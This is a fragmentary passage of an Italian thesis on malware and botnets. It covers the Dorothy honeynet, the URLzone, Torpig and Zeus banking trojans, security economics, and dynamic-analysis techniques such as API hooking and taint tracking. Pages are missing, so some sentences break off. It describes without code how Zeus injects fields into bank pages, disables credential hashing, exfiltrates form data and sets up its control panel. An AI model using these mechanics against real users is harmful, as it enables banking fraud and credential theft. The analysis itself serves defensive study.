ware, come tutto il progetto, è open-source, qualsiasi persona interessata potrà libera-
mente scaricare tutto il necessario per apportare il suo contributo al progetto. Uno dei
punti forza di Dorothy è la visualizzazione dei dati acquisiti delle sue analisi attraver-
so una serie di grafci generati dinamicamente ogni 30 minuti. In questa maniera è
possibile avere una panoramica grafca sulla situazione corrente dei dati processati da
Dorothy. Generare una quadro completo riguardo alle analisi correnti è necessario
per studiare le botnet in quanto si tratta di un fenomeno che muta le sua caratteristi-
che giornalmente in maniera imprevedibile. Come si legge sul sito realizzato da Mar-
co Cremoni ed al. [B-79] dal 2009 è stato dato il via al "Il progetto Dorothy" divenuto
uffcialmente "Il Capitolo italiano Honeynet" .
65
5 Approfondimento sulle Botnet
Una delle più grandi minacce per l'internet è la presenza di grandi squadre di
computer compromessi, noti anche come botnet, esercito di zombie (bot, droni) , collo-
cati in case, scuole, aziende e governi di tutto il mondo. Sotto il controllo di un singo-
lo (o di un piccolo gruppo di) hacker, comunemente conosciuti come un botmaster, le
botnet sono spesso utilizzate per condurre vari attacchi, che vanno da attacchi Distri-
buted Denial-of-Service (DDoS), ad attacchi a e-mail tramite spamming, keylogging, clic
fraudolenti, e per diffondere nuovo malware. A differenza di altri tipi di attacchi, le
botnet che possono essere composte da migliaia di host compromessi in grado di as-
semblare una enorme quantità di potenza di calcolo aggregata , possono eseguire
una serie di attacchi contro un'ampia gamma di obiettivi. Per esempio, un botmaster
può comandare ogni partecipante zombie in una botnet al fne di lanciare email spam ,
effettuare una sorta di furto di carte di credito (raccolte da keylogger installati di na-
scosto ), e lanciare attacchi DDoS simultaneamente contro migliaia di host del com -
puter. A causa di questo, gli hacker sono sempre più interessati a utilizzare le botnet
per lanciare attacchi per massimizzare i loro guadagni fnanziari. Allo stesso tempo,
il grado di distruzione causata dagli hacker utilizzando attacchi botnet è centinaia di
volte più grande degli attacchi discreti tradizionali. Dal momento che la comparsa di
botnet, nuovi e sofsticati moduli software sono stati aggiunti negli strumenti botnet
esistenti ogni giorno, offrendo una varietà di modi per compromettere i computer e
lanciare attacchi potenzialmente molto più pericolosi.
66
5. Approfondimento sulle Botnet
67
E 'importante notare come sia poco chiara la distinzione tra virus e worm (lega-
ti alla diffusione delle botnet) . Gli worm sono infatti virus in quanto compromettono
gli host e si nascondono dal rilevamento. La differenza principale tra worm e le va-
rianti precedenti di virus informatici generici è che, mentre i primi virus erano propa-
gati attraverso la replica tramite l'esecuzione di fle, gli worm si propagano attraverso
Internet da host-a-host , la propagazione di un worm può essere automatizzata trami-
te link di malware di ingegneria sociale incorporati nelle e-mail che sfruttano vulnera-
bilità note in remoto su un computer. Inoltre, le botnet sono worm/botnet perché si
propagano automaticamente su Internet. La differenza fondamentale tra le botnet e i
primi campioni di worm è che botnet specifche incorporano vari meccanismi che con-
sentono ai loro padroni di controllare un pool di host compromessi in modo coordi-
nato. Consideriamo inoltre che per accedere ai sistemi sono utilizzati trojan per il na-
scondimento delle azioni di accesso ai sistemi della botnet. (Da fonte Karpesky [1] le botnet
che tratteremo nei paragraf sottostanti sono defnite, a seconda del comportamento, trojan o bakdoor).
La realtà dei fatti ci dice però che, al di là del veicolo malware utilizzato ,
quando su un sistema operativo si è installato un bot qualsiasi programma può essere
veicolato sull'ospite. Ad esempio un programma nocivo è rappresentato dal famige-
rato TDSS [49], un rootkit in grado di convogliare verso il computer infetto pericolosi
ed insidiosi malware, quali trojan-banker, dns-changer e falsi antivirus.
68
5. Approfondimento sulle Botnet
69
Questi due campi sovrascrivono quelli nella forma originale che la vittima predestinata inten-
deva inviare, e quindi il modulo inviato alla banca subirà l'alterazione.
4. Scegliere gli obiettivi: L'attacco all'obiettivo è formato da due parti - scegliere quali valori di
campo rubare come determinato da un fle locale di confgurazione, e quali transazioni attacca-
re attivamente come determinato da remoto dal Server di C & C. Ancora una volta, questa ope-
razione remota si prende il tempo necessario per eseguire calcoli complessi in modo indipen-
dente dai vincoli dell' hardware locale ed ogni ridotta attività sul lato client aiuterà i
trojan/worm a rimanere protetti dal software di sicurezza sul lato client. Campi obiettivo de -
terminati localmente sono selezionati confrontando il dominio originario dei dati POST rubati
a un elenco di nomi di dominio se corrispondono, i dati sono scelti e rubati .
5. Comunicare con il C&C: La comunicazione tra il trojan e il server C &C è condotta su HTTP,
utilizzando dati XORencrypted [B-73]. Dopo la confgurazione iniziale, tutte le comunicazioni
sono attivate dal dominio come descritto. A differenza di Torpig e Zeus, non vi è alcun contat-
to regolare con il server, ed il server è di diffcile codifca [B-74].
1. Rubare Dati: Torpig può controllare tutti i dati trattati da [programmi su macchine compro-
messe, tra cui browser web] ed identifcare e memorizzare interessanti pezzi di informazioni,
come ad esempio le credenziali per gli account online e le password memorizzate"[B-75] utiliz-
zando DLL, oppure codice iniettato attraverso punti di aggancio. Questo è il furto di dati passi-
vo negli stessi modi usati per URLzone, anche se non limitato a dati POST, e compresi i dati
estratti dai servizi password manager browser e dati di sistema vari inclusi account utente di
Windows e password di accesso . Furto di dati attivo viene effettuato anche per mezzo di attac -
chi di phishing .Questi dati saranno inviati al C &C senza alcuna cifratura o offuscamento; un
altro vantaggio di creare una nuova pagina anziché utilizzare dati dai campi attuali delle pagi-
ne legittime.
2. Modifcare Html
3. Modifcare dati in uscita : Poiché Torpig riguarda solo i dati oggetto di furto, non modifca i
dati in uscita. Non modifcando i dati in uscita, non ha bisogno di nascondere le proprie tracce,
e la sola modifca di html che fa è quella di creare pagine di phishing. Questo può essere fatto
banalmente, dato che il server che inietta ritorna al trojan un URL a una versione completa-
mente formata della nuova pagina creata appositamente, il cui contenuto può poi sostituire di -
rettamente la pagina legittima.
4. Scegliere gli obiettivi: Gli obiettivi sono scelti da Torpig allo stesso modo come raccoglie quali
dati POST sono da rubare – i domini di interesse sono elencati nel fle di confgurazione ottenu-
to dal server C &C, e tutti i dati che l'utente inserisce sono rubati.
5. Comunicare con il C&C: Il bot invia i dati accumulati che ha rubato a intervalli fssi, e tutte le
comunicazioni tra Torpig C & C ei suoi bot viene effettuata su messaggi HTTP POST crittogra-
fati con proprio algoritmo di crittografa Base64 + XOR di Torpig, utilizzando una chiave sim-
70
5. Approfondimento sulle Botnet
metrica inviata in chiaro (Stone-Grosset al., 2009). Torpig è particolarmente interessante, e segue
una tendenza attuale, in quanto non dipende da un server statico nello stesso modo di URLzo -
ne .Sulla base di un algoritmo che utilizza diverse informazioni genera un elenco di indirizzi di
potenziali server C & C . Si avvia quindi dalla cima dell'elenco inviando richieste a questi domi -
ni putativi fnché non riceve una risposta C &C valida, a quel punto il server che risponde di -
venta il server di controllo per tale bot fno alla successiva commutazione programmata . In
questo modo elimina il punto debole passibile di fallimento presente in URLzone
1. Rubare Dati: Zeus ruba dati secondo entrambe le pratiche generali hard-coded (URLzone) e se-
lezione confgurabile (Torping). Preleva le password memorizzate in archivi locali precari come
Windows ProtectedStorage, e tutti i dati di accesso che sono gestiti in modo insicuro. La conf -
gurazione potrà inoltre permettere all'attaccante di nominare domini da cui Zeus dovrebbe in -
tercettare tutti gli input dell'utente prima della cifratura, che possono poi essere trasmessi al
C &C. In questo modo, è come una via di mezzo tra URLzone e Torpig . Ha funzionalità extra,
può essere confgurato per catturare screenshot su eventi click del mouse sulle pagine a domini
di destinazione, e ha "una routine speciale che consente di confgurare modelli per la ricerca di -
numeri di transazione nei dati inviati a banche on-line . I match patterns includono valori, come
il nome della variabile e lunghezza del TAN [B-76] .
2. Modifcare Html: Zeus esegue iniezioni di html come lo fa URLzone , e per la stessa ragione di
Torpig . Sulla base di una conoscenza di base sulla confgurazione delle pagine di siti di desti -
nazione, Zeus inserisce campi singoli o multipli in pagine altrimenti legittime. Il modo è com-
pletamente personalizzabile, e ha il vantaggio della brevità, in quanto è richiesta solo una pic-
cola modifca, invece di dover richiedere un'intera pagina html da un server che la inietta - l'o -
verhead è basso dal client-side. Il campo di solito è confgurato per richiedere i dati di autenti-
cazione aggiuntivi, come richiede Torpig, che saranno inseriti in chiaro per essere dirottati di -
rettamente verso C & C. Si può anche "modifcare o dirottare JavaScript che viene utilizzato per
scopi di sicurezza lato client" [B-76], allo stesso modo, al fne di aggirare la sicurezza di un sito .
3. Modifcare dati in uscita: Zeus, come Torpig, si occupa solo di furto di dati, e quindi non ese -
gue alcun attacco in tempo reale. L'unica piccola modifca dei dati in uscita che fa è la sostitu -
zione di URL scelti a richieste DNS per eseguire attacchi di phishing tradizionali .
4. Scegliere gli obiettivi: Tutto il targeting è gestito attraverso due librerie di fltri, che si confron-
tano con gli URL visitati dal browser in un modo simile a come Torping sceglie gli obiettivi.
Questi sono i nomi sia domini mascherati dai quali tutti i dati dell'utente sono rubati ("WebFil-
ters"), o maschere URL associate a pezzi di testo che devono essere presenti in una presentazio-
ne utente da selezionare per l'appropriazione da parte di Zeus.
5. Comunicare il C&C: Zeus comunica con C &C tramite messaggi postati in modo simile a Tor-
pig, ma lo fa ogni volta che ha dati da inviare come pure a intervalli di tempo - non consente di
accumulare dati sul lato client. Le risposte del server da Torpig offrono un certo controllo sui
71
suoi bots, ma Zeus ha molto di più. Può ordinare diverse funzioni da C &C che variano da ru -
bare fle aggiuntivi, fno al riavvio della macchina infetta, e anche l'eliminazione system32
Windows . Questo controllo viene più da aspetti di Zeus come una suite completa botnet piut-
tosto che qualcosa di pertinenza MITB, ma la dice lunga su come si è evoluta e su come sia po -
tente Zeus. In combinazione con l'ampiezza della sua infezione, questo è probabilmente il mo-
tivo per cui Zeus ha ricevuto molto di più l'attenzione dei media rispetto ad altre botnet .
72
5. Approfondimento sulle Botnet
Sessioni Private Virtuali che si basano sul ritorno di conferma in uno stato leggibile
ma offuscato in un fle di immagine . Quest'ultimo può o non può funzionare per ora,
ma sarà anche inevitabilmente superato non appena vi saranno aggiustamenti e sa-
ranno trovate crepe nella loro sicurezza proprietaria. L'unica cosa di cui è garantito il
funzionamento, notevole nella sua semplicità, è la conferma fuori banda OOB. Il whi-
tepaper Arcot stabilisce l’ autenticazione OOB tramite passcode, ma non consente la
segnalazione OOB (sia tramite telefonata automatica o messaggio di testo), che forni-
sce all'utente un compendio di tutte le operazioni tentate sui loro conto e preferibil-
mente la possibilità di confermare o rifutare. Ci sono due problemi con questo (met-
tendo da parte la possibilità che gli aggressori possano rubare dettagli del telefono ed
intervenire in modo fraudolento), che sono :
1. costa denaro, e a differenza di altre soluzioni a pagamento, il costo sale con il
livello d' uso.
2. Richiede che Internet banking (e qualunque altre forme di transazione su In-
ternet si voglia proteggere) almeno parzialmente sia fuori da Internet, piutto-
sto che fare sì di avere Internet al primo posto. Sono auspicabili altre soluzio-
ni ragionevoli in futuro ma non sembrano disponibili in questo momento.
Naturalmente, se gli utenti del web non avessero infezioni da malware, allora
non ci sarebbe il problema, ma questo è improbabile che possa accadere.[B-
70].
73
Dati statistici sugli attacchi
Nella prima metà del 2012, negli Stati Uniti, in Canada e nei paesi dell’Europa
Occidentale è stato complessivamente registrato il 70% del volume totale di attacchi
informatici condotti dai cybercriminali tramite il programma malevolo Backdoor.Wi-
n32.Sinowal (Mebroot), la restante quota degli assalti eseguiti attraverso
Trojan-Spy.Win32.SpyEye e Trojan-Spy.Win32.Zbot [1].
74
5. Approfondimento sulle Botnet
Questi sono i dati di Symantec che mostrano il rilevamento in 10 paesi di Zeus nel
corso del 2008-09:
Siti quali Abuse.ch [26] tracciano Zeus da un po' di tempo e stanno monito-
rando i server di controllo e comando. Inoltre, danno una buona rappresentazione di
come sia sempre attiva la famiglia Zbot/Zeus .
75
Figura 6: Il monitor di abuse.ch che traccia i server C&C
76
5. Approfondimento sulle Botnet
che può essere acquistato a partire da 700 dollari e si può trovare anche liberamente
commercializzato . Il bot può essere trovato in tutto il mondo ed è quindi sempre pre-
valente nella compromissione di computer non protetti. Il trend dell'infezione ha avu-
to un picco massimo nel 2009 ed è diffuso in tutti i paesi del mondo soprattutto Giap-
pone, Nord America ed Europa .
• cerca winlogon.exe, aumenta i privilegi, inietta il suo codice in questo processo, e crea un
77
Le fnalità di Zeus sono quelle illustrate nel paragrafo precedente (predomi-
nante è il furto di credenziali). Interessante è la descrizione delle informazioni di de-
fault che vengono prelevate ed inviate al C&C.
78
5. Approfondimento sulle Botnet
Figura 8: Pagina Web prima dell'iniezione Figura 7: Pagina Web dopo l'iniezione
Quando il modulo (Fig. 4) viene inviato, Zeus intercetta il contenuto del form
tramite azione POST , ivi compresi il numero PIN e invia queste informazioni al ser-
ver di comando e controllo. La sintassi permette anche di sostituire HTML piuttosto
che solo di aggiungerlo. La sostituzione di HTML in sostituzione è di solito utilizzata
per modifcare o dirottare JavaScript che viene utilizzato per scopi di sicurezza lato
client. Per esempio, molti siti di banking online con un maggiore criterio di sicurezza
trasformano in hash le credenziali prima di inviarle. Questa routine JavaScript utiliz-
79
zata per l'hashing verrà bloccata per mantenere le credenziali come testo in chiaro ed
inviarle, quando saranno essere intercettate, al server di comando e controllo.
80
5. Approfondimento sulle Botnet
81
• timer_start - L'intervallo in minuti in cui il bot invierà statistiche (ad esempio, informazioni
della macchina) al server.
• url_confg - L'URL del fle di confgurazione dinamica.
I campi della sezione dinamica sono descritti in precedenza .
Oltre a costruire il fle eseguibile del bot, l'hacker deve impostare i server di co-
mando e controllo. I requisiti sono un server Web, un modulo PHP, e un server My-
SQL. Il pacchetto/bot prevede un insieme di script PHP che consente di impostare le
tabelle di database necessarie e altri dati specifci per l'utente, sulla base del fle di
confgurazione utilizzato per generare il bot.
Viene creato un pannello di controllo per l'amministratore a cui può effettua-
re il login (URL di default http://[SERVER]/cp.php ) . Dal pannello di controllo può
prendere visione delle informazioni correnti della botnet :
• Informazioni sul botmaster in linea e data e ora corrente
• Statistiche
Stato globale, incluso il numero di bot e loro versione
Elenco dei sistemi operativi e verione di Windows, service pack dei pc compromessi
• Botnet
◦ Tramite form effettua query su bot specifci . Per esempio creare una lista per appartenen-
za ad una nazione, l' IP, in linea o non in linea …
◦ Tramite Script crea procedure che saranno eseguite da uno o più bot. Tutto il ventaglio di
comandi visti in precedenza nelle attività aggiuntive.
• I Report sono utilizzati per una ampia attività di valutazione.
• Informazioni sui sistemi su cui il server è in azione.
◦ Esiste l'opzione per il botmaster di poter modifcare la chiave di cifratura utilizzata per la
confgurazione dinamica di bot che per il traffco di rete.
82
5. Approfondimento sulle Botnet
83
Figura 9: Nodi della rete Zeus-P2P
84
5. Approfondimento sulle Botnet
85
6 Aspetti Economici della Sicurezza
Tuttavia, ci sono aspetti negativi nel concentrarsi sulle minacce più stravagan-
ti perchè questo potrebbe dare la falsa impressione che la situazione sia così terribile
che solo un radicale intervento potrebbe aiutare. Le quattro minacce più pressanti
per la sicurezza informatica in questo momento sono: il furto di identità on-line, lo
spionaggio informatico, la protezione delle infrastrutture critiche, e le botnet. [B-32]
Gli studi in materia delineano le varie sfde economiche che affiggono la sicu-
rezza informatica : incentivi disallineati, asimmetrie informative e esternalità .
86
6. Aspetti Economici della Sicurezza
punti in comune, in particolare nelle barriere economiche che inibiscono i livelli otti-
mali di investimenti in sicurezza.
Esiste una naturale tensione tra effcienza e resilienza nella progettazione di si-
stemi informatici. Questo è meglio esemplifcato dalla spinta negli ultimi dieci anni
verso la 'convergenza' nella rete. Questo vale per molti sistemi di infrastrutture cri-
tiche utilizzate per essere operative su reti distinte con protocolli incompatibili – come
il protocollo e le attrezzature SS7 per la gestione del sistema telefonico, i protocolli
SCADA per il controllo le reti elettriche, e così via. E 'molto più economico formare e
impiegare personale la cui esperienza è in TCP / IP, ed eseguire molte applicazioni
disparate su un'infrastruttura comune come Internet.
87
Tuttavia, la decisione di una singola società di ridurre i costi del funzionamento del
suo IT non tiene conto di un tale aumento della vulnerabilità a lungo termine. Conci-
liare gli incentivi a breve termine per ridurre i costi operativi con interesse a lungo
termine nella riduzione della vulnerabilità è diffcile.
88
6. Aspetti Economici della Sicurezza
Per capire perché, si può utilizzare l'esempio di come funziona il mercato delle
auto usate (americano) utilizzato da George Akerlof che vinse un premio Nobel per la
descrizione di come i mercati con informazioni asimmetriche, possono fallire. Akerlof
descrive come l'interazione fra una qualità eterogenea dei prodotti offerti e un'asim-
metria informativa tra gli attori coinvolti conduca alla scomparsa di un mercato, le cui
garanzie non sono defnite.
Nel modello descritto, presupposto che la qualità dei prodotti non possa esse-
re valutata dall'acquirente (a causa dell'asimmetria informativa), il venditore è incen-
tivato a proporre beni di bassa qualità spacciandoli come di qualità elevata. L'acqui-
rente, d'altro canto, tiene in considerazione questo comportamento del venditore e
stabilisce che l'effettiva qualità del bene proposto resti sconosciuta. Sarà valutata solo
la qualità media del bene. Ciò sta a signifcare che tutti quei prodotti il cui livello
qualitativo è sopra la media saranno esclusi dal mercato. Questo comportamento si ri-
pete fnché non si raggiunge un equilibrio del non scambio. Nel 2001 Akerlof asserì
che anche il mercato del software sicuro può essere paragonato al mercato delle auto
usate.
Un effetto simile è innescato dal rifuto di divulgare i dati sulle perdite dovute
a incidenti di sicurezza. La mancanza di dati affdabili sui costi sulla mancata infor-
mazione sulla insicurezza rendono diffcile gestire il rischio. L' informazione inaffda-
bile assume molte forme, dai venditori di prodotti per la sicurezza che sopravvaluta-
no le perdite dovute al cyber-crimine ai ripetuti avvertimenti di un Armageddon di-
gitale (Apocalisse) causato dallo sfruttamento di vulnerabilità del sistema di controllo
dei processi, mentre vengono soppressi della discussione gli attacchi realizzati o ten-
tati.
89
denaro . Piuttosto, signifca che probabilmente non si sta investendo nelle difese
giuste nella proporzione ideale.
6.2.3 Esternalità
90
6. Aspetti Economici della Sicurezza
L' insicurezza genera esternalità negative. Un computer infetto che è stato in-
corporato in una botnet può inquinare Internet, danneggiare gli altri più che l'host
stesso. Una botnet può inviare spam, essere host di truffe phishing , lanciare attacchi
denial-of-service, e fornire una copertura anonima agli aggressori. In ogni caso, l'obiet-
tivo dell'attività maligna è una persona diversa dal computer host. Le perdite della
società a causa di controllo dei guasti generali dei sistemi, come ad esempio interru -
zioni di corrente prolungate, superano la perdita fnanziaria per un programma di
utilità individuale in termini di mancati introiti. Poiché i rischi privati che affrontano
le utenze sono inferiori ai rischi sociali, si avrà un sotto investimento nelle protezioni
contro i rischi sociali. Infne, dobbiamo anche prendere in considerazione le esternali-
tà positive di utilizzo di Internet che vanno sperperate quando le persone hanno pau-
ra di utilizzare Internet a causa della sua precarietà.
91
7 Considerazioni
I realizzatori di Ether mantengono [B-60] una pagina web per l'upload di ese-
cutivi da analizzare. La piattaforma BitBlaze [42], mantenuta sul sito dell'Università
92
7. Considerazioni
di Berkley (dalla prof.ssa Dawn Song), ha come scopo il progetto e sviluppo di una
potente piattaforma di analisi del binario al fne di :(1) analizzare e sviluppare la pro-
tezione COTS (common off-the-shelf) e meccanismi di diagnostica e (2) analizzare,
capire, e sviluppare difese contro il codice dannoso, per questi fni rende disponibili
molti strumenti di analisi tra cui : HookFinder, Panorama, Renovo.
Esistoni siti monitor che tracciano i siti malevoli (ad esempio per le botnet abu-
se.ch [26] ed un elenco di indirizzi sul reddit.com [43]); strategie di rilevazione (ad
esempio quelle messe in opera da Honeynet [23][24] sulla rete);
molti studiosi che attuano programmi di rilevamento e analisi come Sultan Bandr Al-
muntairi[B-81], Tao Wang e Yu Shun-Zheng [B-82] , Chris Nell [7], Gandotra [4], ...
tutti quelli citati nella bibliografa e nei riferimenti e molti altri .
Esistono pubblicazioni realizzate da vari Enti che hanno nello loro fnalità il
compito di divulgare norme di autoprotezione e di good practise. Ad esempio : le
pubblicazioni dal sito del Sans Information Security [34], della Symantec [22], FBI Cy-
becrime[35],...; le pubblicazione dell'Enisa, l'agenzia Europea per la Sicurezza della
rete [32] ( ad esempio quella sulle “Botnets: Rilevazione, misurazione, disinfezione e
difesa”)...; i siti ed i blog delle principali software house antivirus[1] [6] [], le docu-
mentazioni proposte sui siti nazionali come “La Polizia Postale Italiana” [36] ,“Cyber
Security Assessment Netherlands csan 2015 “[33], Polska Cert [27], ecc...
Molto interessanti sono gli studi effettuati dagli esperti in Economia della Si-
curezza [B-31] [B-32] che mettono in risalto le barriere economiche alla Cybersecurity
(sez.6). Ci è sembrato importante sottolineare come si sia evidenziata una tensione
tra effcienza e resilienza nella progettazione di sistemi informatici meglio esemplif-
cata dalla spinta negli ultimi dieci anni verso la 'convergenza' nella rete. E 'molto più
economico formare e impiegare personale la cui esperienza è in TCP / IP, ed eseguire
molte applicazioni disparate su un'infrastrutura comune come Internet.
93
8 Conclusioni
Possiamo dire che gli obiettivi bersaglio del malware sono tutti quei dati
che possono dare un ritorno di rilievo economico, ultimamente oltre che i dati colle-
gati al recupero immediato di soldi (online-banking, transazioni Pos) , anche dati ri-
servati e confdenziali appartenenti a vari ambiti: politico, strategico, legale, di
marketing.
Di contro l'importanza che rivestono questi dati non sempre corrisponde nel
trattamento ad un livello di sicurezza adeguato. La conferma di questo può essere
letta nel resoconto realizzato da Oisterman [B-33] sui punti deboli in materia di sicu-
rezza negli Enti/Aziende (ricerca in ambiente americano effettuato per conto della
società Trustwave) elencati in ordine decrescente di importanza:
Problema
Phishing attacks
Data loss from employees sending confidential info via cloud- based tools like Dropbox
Virus/worm/malware infections
The lag between new virus outbreaks and when our AV vendor issues an update to deal with these
outbreaks
Mobile malware
Data loss from employees sending confidential info via social media
94
8. Conclusioni
Denial-of-service attacks
Da più parti si auspica un migliore livello di formazione degli utenti per quan-
to riguarda i pericoli di Internet in quanto sarebbe effcace nel prevenire la maggior
parte dei tipi di attacco sul lato client, D'altra parte, si potrebbe pensare che nessuna
quantità di formazione fornirà una protezione per quelle persone che non sono di-
sposte o in grado di tenere il passo con le mutevoli tendenze e pratiche nel settore in-
formatico. Ne segue che queste persone sono esattamente gli obiettivi ideali per i tipi
di frode in effetti, la maggiore attitudine tra i clienti concentra gli attacchi contro colo-
ro che sono meno in grado di proteggersi contro di loro. La comprensione generale
deve e può migliorare e aiuterà, ma non sarà una soluzione.
Se guardiamo gli attacchi documentati, dai primi virus agli albori dell'informa-
tica a quelli più recenti e devastanti, ritroviamo sempre in qualche passaggio, soprat-
tutto iniziale, come vettore di partenza, un metodo di ingegneria sociale.
95
Se i primi virus ottenevano l'accesso ai sistemi tramite lo scambio di foppy
disk contenenti fle infetti o un virus di boot (avvio), con l'avvento di internet come
abbiamo visto [ ] il veicolo preferenziale di infezione è invece oggi rappresentato da
tutte le possibilità di interscambio di dati offerte dalle rete.
96
8. Conclusioni
Chiamate di sistema
Il Software in esecuzione su sistemi di computer che eseguono commodity
(prodotti) di sistemi operativi off-the-shelf (pronto da usare) è solitamente diviso in
due parti principali. Mentre le applicazioni generali, quali word processor o program-
mi di manipolazione delle immagini vengono eseguiti in modalità utente, il sistema
operativo viene eseguito in modalità kernel. Solo il codice che è eseguito in modalità
kernel ha accesso diretto allo stato del sistema. Questa separazione impedisce ai pro-
cessi in modalità utente di interagire con il sistema e il loro ambiente direttamente.
Per esempio, non è possibile per un processo dello spazio-utente aprire o creare un
fle direttamente.
Invece, il sistema operativo fornisce una speciale ben defnita interfaccia API
per la chiamata di sistema. Utilizzando chiamate di sistema, un'applicazione in mo-
dalità utente può richiedere l'uso del sistema per eseguire un insieme limitato di com-
piti per suo conto. Così, per creare un fle, un'applicazione in modalità utente ha biso-
gno di invocare la chiamata di sistema specifca con indicazione del percorso, nome, e
97
metodo di accesso del fle. Una volta che la chiamata di sistema è invocata, il sistema
passa in modalità kernel (vale a dire che,viene eseguito codice privilegiato del siste-
ma operativo ).
Oltre ad utilizzare le risorse in modo esauriente (vincolata dai limiti del siste-
ma operativo), di solito c'è poco che un campione di malware possa fare entro i limiti
del suo processo pertanto, il malware (proprio come ogni altra applicazione), che vie-
ne eseguita in user-space e ha bisogno di comunicare con il suo ambiente deve invoca-
re le rispettive chiamate di sistema. Dal momento che le chiamate di sistema sono l'u-
nica possibilità di un processo in modalità utente di accedere o interagire con il suo
ambiente, questa interfaccia è particolarmente interessante per l'analisi dinamica del
malware.
98
9. Approfondimenti Analisi Dinamica
tivo per l'autore del malware di progettare il malware in modo da coprire tutte le di-
verse versioni delle API Native. Poiché non esiste documentazione uffciale e comple-
ta delle API native, questo richiede grande conoscenza dall' interno di Windows.
Allo stesso modo, un autore di malware potrebbe decidere di saltare le API Native e
richiamare il sistema di chiamate direttamente dal malware. Mentre questo è possibi-
le, richiede una conoscenza più approfondita di un'interfaccia ancor meno documen-
tata.
99
In entrambi i metodi, la funzione di hook ottiene il pieno accesso agli argomenti origi-
nali dello stack e può eseguire le fasi di analisi desiderate.
Inoltre, se la funzione è invocata attraverso un puntatore a funzione (ad esempio, le
funzioni di librerie condivise), questo valore può essere cambiato per puntare invece
alla funzione di hook .
100
9. Approfondimenti Analisi Dinamica
vendo le istruzioni iniziali della funzione target). Tecniche di debug possono anche
essere utilizzate per collegare in invocazioni di alcune funzioni. Punti di interruzione
possono essere inseriti sia sul punto di chiamata che sulla funzione da monitorare.
Quando un breakpoint viene raggiunto, il controllo è dato al debugger che ha pieno ac-
cesso alla memoria ed ai contenuti e lo stato della CPU del processo in debug. Così,
un debugger strumentato può essere utilizzato per eseguire l'analisi prevista.
101
niche di allineamento di sequenza per il calcolo di analogie tra tracce di chiamata di
funzione.
102
9. Approfondimenti Analisi Dinamica
Un sistema dotato del tracciamento dei dati diretti e dell' indirizzo dipendente
(address-dipendency) mancherebbe di un tale fusso di informazioni senza che nes-
sun assegnamento (diretto o indiretto) avvenga tramite la variabile x tainted.
Per coprire questi casi , una possibile soluzione (conservativa) è quella di ese-
guire l'algoritmo in due fasi (di seguito indicate):
Ogni volta che un valore grezzo è coinvolto in una decisione del fusso di controllo,
(1) calcolare il punto di riconvergenza (vale a dire, la prima istruzione che è eseguita
indipendentemente da quale ramo viene eseguita) della istruzione di salto. (2) fno a
raggiungere il punto di riconvergenza, ogni obiettivo di un'assegnazione è infciato
indipendentemente dell'etichetta tainted degli operandi sorgente. Questo è implemen-
tato, per esempio, da Egele et al. [B-16] e Nair et al. [B-34].
103
Il codice nella Figura 13 riporta le informazioni implicite che dopo l'esecuzione dell'i-
struzione if statment (linea 2), esattamente una delle variabili a e b è impostata su 1.
Ad esempio, se x contiene il valore 1, la linea 2 sarebbe settata a 1. Successivamente,
l'istruzione if nella riga 3 non potrebbe quindi eseguire il ramo then (in quanto a = 0).
Infne, v è assegnato il valore 1 nella linea 4. Il programma si comporta in modo si-
mile quando x è uguale a zero.
Per linguaggi interpretati (ad esempio, JavaScript, Perl, ecc) il codice può es-
sere aggiunto all'interprete o just-in-time (JIT) (ad esempio, Haldar et al [B-22]). In
questo modo, tutte le informazioni conteggiabili necessarie per l'esecuzione JIT (ad
esempio, il tipo di variabili, dimensione delle strutture) sono accessibili per l'am-
biente di tracciamento. In realtà, Perl ha un supporto incorporato per una modalità
taint [Perl Taint] che è abilitato non appena il gruppo- reale o user-IDS cambiano.
Questo serve all'interprete per evitare che una serie di falle di sicurezza siano sfrut-
tate. Per monitorare il fusso di informazioni a livello binario, la strumentazione di
solito è fatta in un ambiente dove c'è il pieno controllo del processo in analisi.
104
9. Approfondimenti Analisi Dinamica
Trishul come presentato nel Nair et al. [B-34] affronta anche l'informazione
implicita dei fussi. Tuttavia, questi sistemi non intendono essere utilizzati per l'anali-
si malware. Se le informazioni tecniche di fusso diventano prevalenti in strumenti di
analisi, ci si può aspettare che gli autori di malware attueranno meccanismi che cer-
cheranno di aggirare tali sistemi.
Per emulare con successo i campioni che utilizzano servizi del sistema opera-
tivo o librerie condivise, anche questi meccanismi devono essere emulati. Mentre
esiste un progetto che implementa tale tecnica di emulazione (ad esempio, libemu [B-
3]), l' uso più importante di questa tecnica è utilizzata nei sistemi (motori) di prodotti
105
anti-virus moderni. Molte suite AV utilizzano CPU e l'emulazione della memoria per
superare gli ostacoli imposti da binari imballati o offuscati.
106
9. Approfondimenti Analisi Dinamica
so in quel determinato momento, per conoscere valori noti puo' permettere ad un'i -
stanza di malware di rilevare uno specifco strumento di analisi.
Un requisito comune per i sistemi di analisi che operano tramite l' emulazione
di sistema è che l'analisi possa essere limitata ad un unico processo (cioè, il campione
in analisi), e quindi omettono le altre componenti del sistema da analizzare. Qui, il
gap semantico si manifesta attraverso l'osservazione che a livello hardware, non esi-
ste il concetto di processo. Tuttavia, su architetture x86, il registro basato sulla tabella
delle pagine (CR3) è unico per ogni processo.
Così, controllando le API che creano nuovi processi, un sistema di analisi può correla-
re il campione analizzato con un dato valore del registro CR3. Monitorare le API in
un tale sistema può essere realizzato confrontando il valore del puntatore di istruzio-
ni ai noti punti di ingresso delle funzioni nelle librerie dinamiche che forniscono le
API.
107
Bisogna fare attenzione affnchè il caricatore (loader) del sistema operativo
guest possa mappare una libreria a un indirizzo di base diverso (quello preferito.)
Pertanto, questa lista deve essere mantenuta in modo dinamico. Conoscendo il valo-
re del registro CR3 che corrisponde al processo in esame, è banale per produrre una
traccia di istruzioni per questo processo. In breve, ogni istruzione che viene eseguita
mentre il registro CR3 contiene questo valore è parte del programma analizzato.
Per abbassare l'impatto del gap semantico, esistono tecniche miste che ese-
guono l'analisi nell'emulatore e raccolgono informazioni di livello superiore (ad
esempio, l'elenco dei moduli caricati, ecc) con l'aiuto di un componente aggiuntivo in
esecuzione nel sistema guest [ B-5].
Soluzione software.
Il metodo software consiste nel prendere un'immagine del disco rigido conte-
nente l'immagine di base con l'ambiente di analisi. Dopo l'esecuzione di ogni
analisi , questa immagine viene ripristinata da un sistema operativo di pulizia anti-
manomissione 'tamper-proof clean-operating', ad esempio un CD live di Linux.
108
9. Approfondimenti Analisi Dinamica
via, poiché improvvise modifche al fle system sottostante sono inaspettate per il siste-
ma operativo guest, tali tecniche richiedono che il sistema venga riavviato tra le esecu-
zioni di analisi.
109
10 Esempi – Casi di Studio
I
Figura 15: codice virus_c .
L'esecuzione crea la chiave sul registro:
